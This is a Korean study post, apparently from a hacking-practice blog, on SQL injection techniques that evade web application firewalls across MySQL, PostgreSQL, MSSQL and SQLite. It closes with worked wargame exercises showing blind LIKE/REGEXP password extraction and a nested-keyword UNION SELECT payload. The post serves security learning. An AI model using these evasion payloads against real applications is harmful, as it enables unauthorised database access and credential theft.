1. WAF(Web Application Firewall)
- WAF(Web Application Firewall)란 웹 애플리케이션에 특화된 방화벽을 말한다.
- 방화벽을 적용하면 악성 트래픽을 유발하는 디도스와 데이터베이스와 관련된 SQLI, 최근에는 자바 로깅 라이브러리에서 발생한 log4j 등의 공격을 탐지하고 접속을 차단한다.
- 웹 방화벽은 공격에 사용되었던 코드(키워드)를 기반으로 탐지한다. 그렇기 때문에, 근본적인 취약점(여전히 SQL Injection이 가능하다는 것)이 존재하므로 웹 방화벽을 우회하고 공격할 수 있다.
2. 탐지 우회
1) 대소문자 검사 미흡 : SQL은 데이터베이스와 컬럼명을 포함해 질의문의 대소문자를 구분하지 않는다.
UnIoN SeLecT 1,2,3
selECT SlEep(5)
2) 탐지 과정 미흡 : "UNION" 또는 "union" 이라는 문자열을 탐지하고 공백으로 치환할 경우 다음과 같이 우회할 수 있다.
UNunionION SELselectECT 1,2 --
# => UNION SELECT 1,2 --
3) 문자열 검사 미흡 : "admin" 키워드의 포함 여부를 검사하는 경우 다음과 같이 우회할 수 있다.
mysql> SELECT reverse('nimda'), concat('adm','in'), x'61646d696e', 0x61646d696e;
4) 연산자 검사 미흡 : "and", "or" 과 같은 연산자 키워드의 포함 여부만 살펴보는 경우
^, =, !=, %, /, *, &, &&, |, ||, >, <, XOR, DIV, LIKE, RLIKE, REGEXP, IS, IN, NOT, MATCH, AND, OR, BETWEEN, ISNULL 등의 연산자를 사용할 수 있다.
mysql> select 1 || 1;
5) 공백 탐지 : 공백 문자를 검사하는 경우 다음과 같이 탐지할 수 있다. (주석, 백틱 이용)
mysql> SELECT/**/'abc';
mysql> select`username`,(password)from`users`WHERE`username`='admin';
3. MySQL 우회 기법
1) 문자열 검사 우회(진법, 함수, 가젯 이용)
mysql> select 0x6162, 0b110000101100010;
mysql> select char(0x61, 0x62);
mysql> select concat(char(0x61), char(0x62));
mysql> select mid(@@version,12,1);
2) 공백 검사 우회(개행, 주석 이용)
mysql> select
-> 1;
mysql> select/**/1;
3) 주석 구문 실행 : WAF에서는 /* */ 문자열을 주석으로 인식하고 쿼리 구문으로 해석하지 않으나,
MySQL Server 제공 기능 중 /*! */는 주석 내 구문을 분석하고 이를 쿼리의 일부로 실행한다.
(참조 : https://dev.mysql.com/doc/refman/8.0/en/comments.html)
mysql> select 1 /*!union*/ select 2;
4. PostgreSQL 우회 기법
1) 문자열 검사 우회(함수, 가젯 이용)
postgres=> select chr(65);
postgres=> select concat(chr(65), chr(66));
postgres=> select substring(version(),23,1);
2) 공백 검사 우회(개행, 주석 이용)
postgres=> select
1;
postgres=> select/**/1;
5. MSSQL 우회 기법
1) 문자열 검사 우회(함수, 가젯 이용)
select char(0x61);
select concat(char(0x61), char(0x62));
select substring(@@version,134,1);
2) 공백 검사 우회(개행, 주석 이용)
select
1;
select/**/1;
6. SQLite 우회 기법
1) 문자열 검사 우회(함수, 가젯 이용)
sqlite> select char(0x61);
sqlite> select char(0x61)||char(0x62);
2) 공백 검사 우회(개행, 주석 이용)
sqlite> select
...> 1;
sqlite> select/**/1;
3) 구문 검사 우회 : SELECT 구문을 사용하지 못하면 원하는 값을 반환할 수 없다. 이때, UNION VALUES(num)를 이용하면 원하는 값을 반환할 수 있다.
sqlite> select 1 union values(2);
7. 실습 문제
목표 0.
=====================================================
hint: pw???? (?는 0~9 사이 숫자)
if(uid.match(/sub|str|mid|pad/gi)) { WAF_Detect(); }
if(upw.match(/sub|str|mid|pad/gi)) { WAF_Detect(); }
...
if(res['uid']){ return True; }
=====================================================
Query : select * from users where uid="" and upw="";
해답.
[like 구문 사용]
_ 또는 %와 같은 와일드 카드를 사용하여 문자열을 찾을 수 있다.
uid=admin" and upw like "p%"--
uid=admin" and upw like "pw"--
...
uid=admin" and upw like "pw1337"--
[정규표현식 사용]
정규표현식 regexp 구문을 사용하여 문자열을 찾을 수 있다.
uid=admin" and upw regexp 'p.*' --
uid=admin" and upw regexp 'pw.*' --
...
uid=admin" and upw regexp 'pw1337' --
- 코드를 보면, sub, str, mid, pad 등의 문구를 사용하면 감지되도록 되어 있다. 그렇다면 이를 우회해야 한다.
- 또한, 쿼리 질의문의 결과값이 있으면 True를 반환한다.
- 오답 : 쿼리 질의문의 결과값이 있으면 True를 반환하므로, 값을 반환하여 True/False 여부를 판단할 수 없다.
목표 1.
===============================================
uid = uid.replace(/union|select|from/gi, '');
upw = upw.replace(/union|select|from/gi, '');
...
return res['uid'];
===============================================
Query : select uid from users where uid="" union select upw from users -- " and upw=""
해답 1.
특정 문자열이 탐지되면 해당 문자열을 변경하는 과정을 거친다.
아래 공격 코드와 같이 1회만 치환되도록 하여 우회할 수 있다.
uid=" ununionion selselectect upw frfromom users --
'프로그래밍 > 해킹' 카테고리의 다른 글
MongoDB 기본 문법 & 취약점 (1) | 2024.07.03 |
---|---|
Exercise: SQL Injection Bypass WAF (0) | 2024.07.02 |
DBMS Fingerprinting (0) | 2024.07.01 |
[WHA-S] Exercise: Blind SQL Injection Advanced (0) | 2024.06.30 |
해킹 공부할 때 참조하면 좋은 것 (0) | 2024.06.26 |